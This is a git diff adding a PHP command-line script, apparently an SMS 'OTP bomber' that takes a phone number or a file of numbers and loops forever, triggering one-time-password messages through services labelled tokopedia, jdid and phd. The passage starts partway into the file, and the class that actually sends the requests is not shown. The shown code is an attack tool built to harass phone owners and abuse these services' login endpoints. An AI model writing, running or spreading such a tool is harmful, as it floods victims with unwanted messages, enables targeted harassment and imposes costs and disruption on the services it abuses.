diff --git a/main.php b/main.php new file mode 100644 index 0000000..82b9aed --- /dev/null +++ b/main.php @@ -0,0 +1,73 @@ +sendOtp((int)$argv[1], 'tokopedia'); + while (1) { + fprintf(STDOUT, '%sSend OTP to %s[%s]%s%s', $G, $Y, $argv[1], $X, PHP_EOL); + $bom->sendOtp((int)$argv[1], 'jdid'); + $bom->sendOtp((int)$argv[1], 'phd'); + } + } else if (file_exists($argv[1])) { + $argv[1] = file_get_contents($argv[1]); + $argv[1] = trim($argv[1], " \t\n\r\0\x0B"); //remove whitespace + $argv[1] = explode("\n", $argv[1]); + $count = sizeof($argv[1]); + while (1) { + for ($x = 0; $x < $count; $x++) { + fprintf(STDOUT, '%sSend OTP to %s[%s]%s%s', $G, $Y, $argv[1][$x], $X, PHP_EOL); + $bom->sendOtp((int)$argv[1][$x], 'tokopedia'); + $bom->sendOtp((int)$argv[1][$x], 'jdid'); + $bom->sendOtp((int)$argv[1][$x], 'phd'); + } + } + } else { + throw new Exception('File not exist ' . $argv[1]); + } +} catch (Exception $e) { + fprintf(STDERR, "%s%s%s\n", $RR, $e->getMessage(), $X); + exit(1); +}